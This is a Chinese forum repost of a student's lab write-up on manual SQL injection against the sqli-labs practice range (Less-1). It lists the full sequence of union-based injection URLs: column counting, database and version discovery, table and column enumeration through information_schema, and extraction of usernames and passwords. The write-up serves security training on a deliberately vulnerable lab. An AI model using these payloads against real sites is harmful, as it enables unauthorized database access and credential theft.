搜索

[26995] 2020-05-18_【学员分享】基于sql注入的sqli-lab靶场的手工注入

文档创建者：s7ckTeam
浏览次数：71
最后更新：2025-01-19
2020-05-18_【学员分享】基于sql注入的sqli-lab靶场的手工注入 【 学 员 分 享 】 基 于 s q l 注 入 的 s q l i - l a b 靶 场 的 手 工 注 入 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 5 - 1 8 本 文 作 者 ： 啊 昊 啊 昊 （ W E B 安 全 攻 防 星 球 学 员 ） 一 、 尝 试 一 、 尝 试 初 始 化 页 面 如 图 输 入 ? i d = 1 , 后 得 到 返 回 页 面 ： 尝 试 单 引 号 测 试 ： ? i d = 1 ' , 发 现 存 在 注 入 点 二 、 开 始 二 、 开 始 s q l 注 入 注 入 1 、 找 出 页 面 中 背 后 的 数 据 表 中 列 的 数 量 、 找 出 页 面 中 背 后 的 数 据 表 中 列 的 数 量 不 断 尝 试 ， 当 我 们 发 现 o r d e r   b y   4   时 ， 出 现 报 错 2 、 检 测 哪 一 列 可 以 显 示 ， 并 查 处 数 据 库 名 字 和 版 本 、 检 测 哪 一 列 可 以 显 示 ， 并 查 处 数 据 库 名 字 和 版 本 3 、 查 询 数 据 库 中 表 的 数 量 以 及 名 称 ， 并 找 出 可 能 存 在 敏 感 信 息 的 、 查 询 数 据 库 中 表 的 数 量 以 及 名 称 ， 并 找 出 可 能 存 在 敏 感 信 息 的   表 表 h t t p : / / w w w . f . c o m / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = 1 '   o r   1 = 2   o r d e r   b y   3   % 2 3 h t t p : / / w w w . f . c o m / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = 1 '   a n d   1 = 2   u n i o n   s e l e c t   1 , 2 , 3   % 2 3 h t t p : / / w w w . f . c o m / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = 1 '   a n d   1 = 2   u n i o n   s e l e c t   1 , d a t a b a s e ( ) , v e r s i o n ( )   % 2 3 h t t p : / / w w w . f . c o m / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = 1 '   a n d   1 = 2   u n i o n   s e l e c t   1 , c o u n t ( * ) , 2   f r o m   i n f o r m a t i o n _ s c h e m a . T A B L E S   w h e r e   T A B L E _ S C H E M A = ' s e c u r i t y '
不 断 尝 试 ， 发 现 以 下 表 中 可 能 有 敏 感 信 息 ： 4 、 查 处 、 查 处 u s e r s 表 中 的 字 段 数 以 及 名 称 表 中 的 字 段 数 以 及 名 称 可 以 看 出 ， 该 表 字 段 数 为 3 ， 依 次 是 i d , u s e r n a m e , p a s s w o r d 5 、 查 询 、 查 询 u s e r n a m e , 和 和 p a s s w o r d 的 值 的 值 到 此 告 一 段 落 了 ！ h t t p : / / w w w . f . c o m / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = 1 '   a n d   1 = 2   u n i o n   s e l e c t   1 , T A B L E _ N A M E , 2   f r o m   i n f o r m a t i o n _ s c h e m a . T A B L E S   w h e r e   T A B L E _ S C H E M A = ' s e c u r i t y '   l i m i t   0 , 1 h t t p : / / w w w . f . c o m / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = 1 '   a n d   1 = 2   u n i o n   s e l e c t   1 , c o u n t ( C O L U M N _ N A M E ) , 2   f r o m   i n f o r m a t i o n _ s c h e m a . C O L U M N S   w h e r e   T A B L E _ N A M E = ' u s e r s '   a n d   T A B L E _ S C H E M A = ' s e c u r i t y ' h t t p : / / w w w . f . c o m / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = 1 '   a n d   1 = 2   u n i o n   s e l e c t   1 , C O L U M N _ N A M E , 2   f r o m   i n f o r m a t i o n _ s c h e m a . C O L U M N S   w h e r e   T A B L E _ N A M E = ' u s e r s '   a n d   T A B L E _ S C H E M A = ' s e c u r i t y '   l i m i t h t t p : / / w w w . f . c o m / s q l i - l a b s - m a s t e r / L e s s - 1 / ? i d = 1 '   a n d   1 = 2   u n i o n   s e l e c t   1 , c o n c a t ( u s e r n a m e , ' - - - ' , p a s s w o r d ) , 2   f r o m   u s e r s   % 2 3
总 结 总 结 与 之 前 的 s q l m a p 注 入 相 比 较 ， 发 现 手 工 注 入 需 要 更 多 的 逻 辑 ， 心 里 要 很 清 楚 下 一 步 代 码 该 做 什 么 ， 中   途 会 因 为 代 码 的 一 点 错 误 导 致 页 面 报 错 。 然 后 使 用 s q l m a p 这 种 工 具 的 话 ， 通 过 命 令 的 方 法 就 可 以 得 到   想 要 的 结 果 ， 速 度 也 快 。 在 公 众 号 回 复 " s q l 天 书 天 书 " ， 即 可 获 得 s q l i - l a b 靶 场 使 用 手 册 。 【 成 就 未 解 锁 成 就 未 解 锁 】 扫 描 下 方 二 维 码 加 入 扫 描 下 方 二 维 码 加 入 W E B 安 全 安 全 星 球 学 习 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 目 前 目 前 2 5 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理